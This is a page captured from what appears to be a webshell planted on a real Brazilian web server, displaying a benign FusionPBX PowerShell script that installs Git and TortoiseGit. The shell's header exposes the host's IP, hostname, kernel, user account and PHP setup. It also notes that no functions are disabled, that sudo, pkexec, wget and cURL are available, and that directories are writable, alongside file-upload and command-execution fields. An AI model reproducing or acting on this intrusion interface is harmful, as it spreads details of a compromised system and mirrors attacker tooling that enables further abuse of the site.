403Webshell
Server IP : 189.126.111.107  /  Your IP : 216.73.217.69
Web Server : Apache
System : Linux www.gadotticar.com.br 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User : gadotticar ( 1000)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/src/fusionpbx-install.sh/windows/resources/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/src/fusionpbx-install.sh/windows/resources/install-git.ps1
Function Install-Git(){

	if (Get-Installed-App "Git*") {
		Write-Host "Git is already installed"
		return
	}

	#install Git for Windows
	if ($env:PROCESSOR_ARCHITECTURE -eq "x86") {
		$url = "https://github.com/git-for-windows/git/releases/download/v2.15.1.windows.2/Git-2.15.1.2-32-bit.exe"
	}
	else {
		$url = "https://github.com/git-for-windows/git/releases/download/v2.15.1.windows.2/Git-2.15.1.2-64-bit.exe"
	}

	Write-Host Download Git from $url -ForegroundColor Cyan
	$filename = Get-File $url
	Write-Host Install git -ForegroundColor Cyan
	Start-Process $filename /silent -Wait
	Remove-Item $filename

	#install TortoiseGit
	if ($env:PROCESSOR_ARCHITECTURE -eq "x86") {
		$url = "https://download.tortoisegit.org/tgit/2.5.0.0/TortoiseGit-2.5.0.0-32bit.msi"
	}
	else {
		$url = "https://download.tortoisegit.org/tgit/2.5.0.0/TortoiseGit-2.5.0.0-64bit.msi"
	}
	$filename = Get-File $url
	Start-Process $filename /passive -Wait

}

Youez - 2016 - github.com/yon3zu
LinuXploit